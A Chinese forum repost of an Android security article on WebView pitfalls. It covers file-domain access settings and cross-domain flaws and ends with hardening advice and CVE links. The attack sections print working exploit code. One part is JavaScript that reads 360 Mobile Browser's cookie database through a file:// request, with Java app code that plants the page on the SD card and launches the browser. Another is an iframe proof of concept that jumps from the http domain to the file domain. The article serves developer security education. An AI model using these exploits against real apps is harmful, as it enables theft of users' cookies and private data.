收藏文章 楼主
Android安全开发之WebView中的地雷(2)
版块:其他技术文章   类型:普通   作者:御安全   查看:5815   回复:0   获赞:3   时间:2016-08-30 11:26:14

0X04 WebView域控制不严格漏洞

setAllowFileAccess

Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。

 

setAllowFileAccessFromFileURLs

在JELLY_BEAN以前的版本默认是setAllowFileAccessFromFileURLs(true),允许通过file域url中的Javascript读取其他本地文件,在JELLY_BEAN及以后的版本中默认已被是禁止。

 

setAllowUniversalAccessFromFileURLs

在JELLY_BEAN以前的版本默认是setAllowUniversalAccessFromFileURLs(true),允许通过file域url中的Javascript访问其他的源,包括其他的本地文件和http,https源的数据。在JELLY_BEAN及以后的版本中默认已被禁止。

 

360手机浏览器缺陷可导致用户敏感数据泄漏

以360手机浏览器4.8版本为例,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的攻击页面(比如恶意APP释放到SDCARD上的一个HTML)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码:

function getDatabase() {  

    var request = false;

    if(window.XMLHttpRequest) {

     request = new XMLHttpRequest();

      if(request.overrideMimeType) {

           request.overrideMimeType('text/xml');

       }

    }

    xmlhttp = request;

    var prefix = "file:////data/data/com.qihoo.browser/databases";

    var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db

    var path = prefix.concat(postfix);

    // 获取本地文件代码

    xmlhttp.open("GET", path, false);

    xmlhttp.send(null);

    var ret = xmlhttp.responseText;

    return ret;

}

 

漏洞利用代码:

copyFile(); //自定义函数,释放filehehe.html到sd卡上

String url = "file:///mnt/sdcard/filehehe.html";

Intent contIntent = new Intent();

contIntent.setAction("android.intent.action.VIEW");

contIntent.setData(Uri.parse(url));

Intent intent = new Intent();

intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");

intent.setAction("android.intent.action.VIEW");

intent.setData(Uri.parse(url));

this.startActivity(intent);

 

0X05 WebView file跨域漏洞

Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,导致允许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码如下所示:

<iframe name=f src="www.baidu.com" ></iframe>

<script>

    function init(){

        f.location = "file:///default.prop";

    }

    setTimeout(init,5000)

</script>

在浏览器中打开服务器上的filereach.html,将从http域跳转到file域

 

0X06安全开发建议

1)使用腾讯御安全类漏洞扫描工具进行基础开发漏洞检测定位;

2)建议开发者通过以下方式移除该JavaScript接口:
  removeJavascriptInterface("searchBoxJavaBridge_")

  removeJavascriptInterface("accessibility");

  removeJavascriptInterface("accessibilityTraversal")

3)出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解

4)通过WebSettings.setSavePassword(false)关闭密码保存提醒功能

5)通过以下设置,防止越权访问,跨域等安全问题: 

  setAllowFileAccess(false)

  setAllowFileAccessFromFileURLs(false)

  setAllowUniversalAccessFromFileURLs(false)


0X07参考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224

http://drops.wooyun.org/webview.html

 

移动应用安全 
回复列表
默认   热门   正序   倒序

回复:Android安全开发之WebView中的地雷(2)

暂无用户组
退出
等级:0级
天豆:
游客:

公告

近期本站被人为恶意注册及发布垃圾帖,本站已开启普通用户发帖审核功能,VIP系列用户组不受影响,一但发现发布违法或垃圾帖的用户,该用户账号将会被永久封号,请大家共同维护互联网环境,共创美好互联网未来。

永久免费,购授权享豪礼

3年个人版授权+1940天豆仅需194元

终身个人版授权+3880天豆仅需388元

3年尊享版授权+13580天豆仅需1358元

终身尊享版授权+27160天豆仅需2716元

Powered by HadSky 7.9.3

©2015 - 2021 HadSky

购买产品 用户文档 加入QQ群 授权查询 网站绑定 客户案例 陕ICP备13005805号

您的IP:3.89.204.127,2021-12-02 18:52:28,Processed in 0.03386 second(s).

支持原创软件,抵制盗版,共创美好明天!
头像

用户名:

粉丝数:

签名:

资料 关注 好友 消息
已有0次打赏
(3) 分享
分享

请保存二维码或复制链接进行分享

取消